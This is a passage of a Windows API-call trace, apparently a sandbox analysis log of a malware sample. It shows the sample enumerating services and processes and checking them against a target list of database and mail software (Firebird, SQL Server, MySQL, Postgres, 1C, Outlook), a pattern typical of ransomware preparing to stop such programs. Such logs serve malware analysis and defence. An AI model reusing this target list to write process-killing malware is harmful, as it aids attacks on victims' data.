returned 6 [0261.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0261.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0261.843] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0261.843] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0261.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0261.843] lstrlenW (lpString="UxSms") returned 5 [0261.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0261.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0261.843] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0261.843] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0261.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0261.843] lstrlenW (lpString="WdiServiceHost") returned 14 [0261.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0261.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0261.844] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0261.844] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0261.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0261.844] lstrlenW (lpString="WdiSystemHost") returned 13 [0261.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0261.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0261.844] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0261.844] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0261.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0261.845] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0261.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0261.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0261.845] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0261.845] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0261.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0261.845] lstrlenW (lpString="Winmgmt") returned 7 [0261.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0261.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0261.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0261.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0261.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0261.846] lstrlenW (lpString="WPDBusEnum") returned 10 [0261.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0261.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0261.846] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0261.846] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0261.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0261.846] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0261.846] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0261.851] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.852] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.853] lstrlenW (lpString="System") returned 6 [0261.854] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0261.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0261.854] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0261.854] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0261.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0261.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0261.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0261.854] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.855] lstrlenW (lpString="smss.exe") returned 8 [0261.855] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0261.855] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0261.856] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0261.856] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0261.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0261.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0261.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0261.856] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.010] lstrlenW (lpString="csrss.exe") returned 9 [0262.011] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.011] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.011] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.011] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.012] lstrlenW (lpString="wininit.exe") returned 11 [0262.012] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0262.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0262.012] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0262.013] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0262.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0262.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0262.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0262.013] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.014] lstrlenW (lpString="csrss.exe") returned 9 [0262.014] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.014] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.014] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.015] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.016] lstrlenW (lpString="winlogon.exe") returned 12 [0262.016] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.017] lstrlenW (lpString="services.exe") returned 12 [0262.017] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.018] lstrlenW (lpString="lsass.exe") returned 9 [0262.018] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.019] lstrlenW (lpString="lsm.exe") returned 7 [0262.019] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.020] lstrlenW (lpString="svchost.exe") returned 11 [0262.021] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.022] lstrlenW (lpString="svchost.exe") returned 11 [0262.022] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.023] lstrlenW (lpString="svchost.exe") returned 11 [0262.023] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.024] lstrlenW (lpString="svchost.exe") returned 11 [0262.024] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.025] lstrlenW (lpString="svchost.exe") returned 11 [0262.025] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.028] lstrlenW (lpString="audiodg.exe") returned 11 [0262.028] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.029] lstrlenW (lpString="svchost.exe") returned 11 [0262.029] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.030] lstrlenW (lpString="explorer.exe") returned 12 [0262.030] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.031] lstrlenW (lpString="dwm.exe") returned 7 [0262.031] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.032] lstrlenW (lpString="svchost.exe") returned 11 [0262.032] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0262.033] lstrlenW (lpString="driver.exe") returned 10 [0262.033] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.034] lstrlenW (lpString="spoolsv.exe") returned 11 [0262.034] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.036] lstrlenW (lpString="taskhost.exe") returned 12 [0262.036] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.037] lstrlenW (lpString="svchost.exe") returned 11 [0262.037] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0262.038] lstrlenW (lpString="reader_sl.exe") returned 13 [0262.038] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.039] lstrlenW (lpString="taskhost.exe") returned 12 [0262.039] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.040] lstrlenW (lpString="dllhost.exe") returned 11 [0262.040] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0262.042] lstrlenW (lpString="consent.exe") returned 11 [0262.042] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0262.043] CloseHandle (hObject=0x3b0) returned 1 [0262.043] Sleep (dwMilliseconds=0x1f4) [0262.997] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0262.998] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0262.999] GetLastError () returned 0xea [0262.999] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0262.999] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0263.001] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0263.002] lstrlenW (lpString="Appinfo") returned 7 [0263.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0263.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0263.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0263.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0263.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0263.002] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.002] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.002] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.002] lstrlenW (lpString="AudioSrv") returned 8 [0263.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0263.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0263.003] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0263.003] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0263.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0263.003] lstrlenW (lpString="BFE") returned 3 [0263.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.003] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.003] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.003] lstrlenW (lpString="CryptSvc") returned 8 [0263.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.004] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.004] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.004] lstrlenW (lpString="CscService") returned 10 [0263.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0263.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0263.004] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0263.004] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0263.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0263.004] lstrlenW (lpString="DcomLaunch") returned 10 [0263.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.005] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.005] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.005] lstrlenW (lpString="Dhcp") returned 4 [0263.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.005] lstrlenW (lpString="Dnscache") returned 8 [0263.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.006] lstrlenW (lpString="DPS") returned 3 [0263.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.006] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.006] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.006] lstrlenW (lpString="eventlog") returned 8 [0263.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0263.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0263.006] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0263.006] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0263.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0263.007] lstrlenW (lpString="EventSystem") returned 11 [0263.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.007] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.007] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.007] lstrlenW (lpString="gpsvc") returned 5 [0263.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.007] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.007] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.008] lstrlenW (lpString="iphlpsvc") returned 8 [0263.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.008] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0263.008] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0263.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0263.008] lstrlenW (lpString="LanmanServer") returned 12 [0263.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0263.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0263.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0263.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0263.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0263.009] lstrlenW (lpString="LanmanWorkstation") returned 17 [0263.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.009] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0263.009] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0263.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0263.009] lstrlenW (lpString="lmhosts") returned 7 [0263.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.009] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.009] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0263.010] lstrlenW (lpString="MMCSS") returned 5 [0263.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0263.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0263.010] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0263.010] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0263.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0263.010] lstrlenW (lpString="MpsSvc") returned 6 